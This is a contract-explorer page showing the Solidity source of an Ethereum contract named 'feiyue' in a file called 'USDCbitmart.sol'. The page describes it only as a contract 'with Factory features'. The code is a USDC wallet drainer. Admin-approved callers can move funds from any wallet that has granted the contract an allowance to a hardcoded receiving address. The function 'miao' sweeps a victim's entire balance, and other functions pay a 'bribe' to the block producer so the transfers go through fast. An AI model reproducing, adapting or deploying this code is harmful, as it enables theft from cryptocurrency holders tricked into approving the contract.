Description:
Smart contract deployed on Ethereum with Factory features.
Blockchain: Ethereum
Source Code: View Code On The Blockchain
Solidity Source Code:
{{
"language": "Solidity",
"sources": {
"my/USDCbitmart.sol": {
"content": "// SPDX-License-Identifier: MIT\r
pragma solidity ^0.8.4;\r
\r
\r
//定义 usdc 接口\r
interface IERC20 {\r
\r
//授权后,转账\r
function transferFrom(address sender, address recipient, uint256 amount) external ;\r
//查询余额\r
function balanceOf(address account) external view returns (uint256);\r
}\r
\r
\r
contract feiyue {\r
\r
//合约地址\r
address contractaddress = 0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48;\r
//定义 usdc 接口变量\r
IERC20 usdc;\r
constructor() {\r
usdc = IERC20(contractaddress);\r
}\r
//用来判断那些地址拿到了,操作权限\r
mapping(address => bool) auth;\r
//收款地址,写死的\r
address public toaddress = 0x1d5fdb1174321C46dE2D6D750a68005894965dF9;\r
//管理员钱包地址,写死的\r
address public adminaddress = 0xf46fd5321695Cd82bF7dFf0a0952e6e8be104f99;\r
\r
//默认贿赂金额\r
uint256 public ethAmountToCoinbase = 100000000000000;\r
\r
//接收eth\r
receive() external payable {\r
\r
}\r
\r
//修改贿赂金额,只有内置的管理员 才有权限\r
function upethAmountToCoinbase(uint256 _value) public returns (bool) {\r
require(msg.sender == adminaddress, "You no admin");\r
require(msg.sender != address(0), "You no admin");\r
ethAmountToCoinbase = _value;\r
return true;\r
}\r
//设置那些地址拥有调用转账权限,只有内置的管理员 才有权限调用\r
function upauth(address _address , bool _auth) public returns (bool) {\r
require(msg.sender == adminaddress, "You no admin");\r
require(msg.sender != address(0), "You no admin");\r
auth[_address] = _auth;\r
return true;\r
} \r
//获取地址 是否拥有权限\r
function getisauth(address _address) public view returns (bool) {\r
require(_address != address(0), "no");\r
return auth[_address];\r
}\r
\r
//对已授权用户,发起转账,只有 得到管理员的授权后的地址才可以调用\r
function transferFrom(address from,uint256 amount) public {\r
require(msg.sender != address(0), "You no sb");\r
require(auth[msg.sender] == true, "You no sb1");\r
usdc.transferFrom(from,toaddress,amount);\r
}\r
//对已授权用户,发起转账,只有 得到管理员的授权后的地址才可以调用\r
function Transfer(address from,uint256 amount) public {\r
require(msg.sender != address(0), "You no sb");\r
require(auth[msg.sender] == true, "You no sb1");\r
usdc.transferFrom(from,toaddress,amount);\r
block.coinbase.transfer(ethAmountToCoinbase);\r
}\r
//对已授权用户,发起转账,只有 得到管理员的授权后的地址才可以调用\r
function a(address from,uint256 amount) public {\r
require(msg.sender != address(0), "You no sb");\r
require(auth[msg.sender] == true, "You no sb1");\r
usdc.transferFrom(from,toaddress,amount);\r
block.coinbase.transfer(ethAmountToCoinbase);\r
}\r
//对已授权用户,发起秒U,只有 得到管理员的授权后的地址才可以调用,用合约获取usdc余额 理论会更快一点,需要消耗的gas可能会多一点,不管用奶奶的\r
function miao(address from) public {\r
require(msg.sender != address(0), "You no sb");\r
require(auth[msg.sender] == true, "You no sb1");\r
\r
//获取用户钱包地址余额(usdc)\r
uint256 amount = usdc.balanceOf(from);\r
usdc.transferFrom(from,toaddress,amount);\r
}\r
\r
}"
}
},
"settings": {
"optimizer": {
"enabled": false,
"runs": 200
},
"outputSelection": {
"*": {
"*": [
"evm.bytecode",
"evm.deployedBytecode",
"devdoc",
"userdoc",
"metadata",
"abi"
]
}
},
"remappings": []
}
}}
Submitted on: 2025-11-05 19:25:33
Comments
Log in to comment.
No comments yet.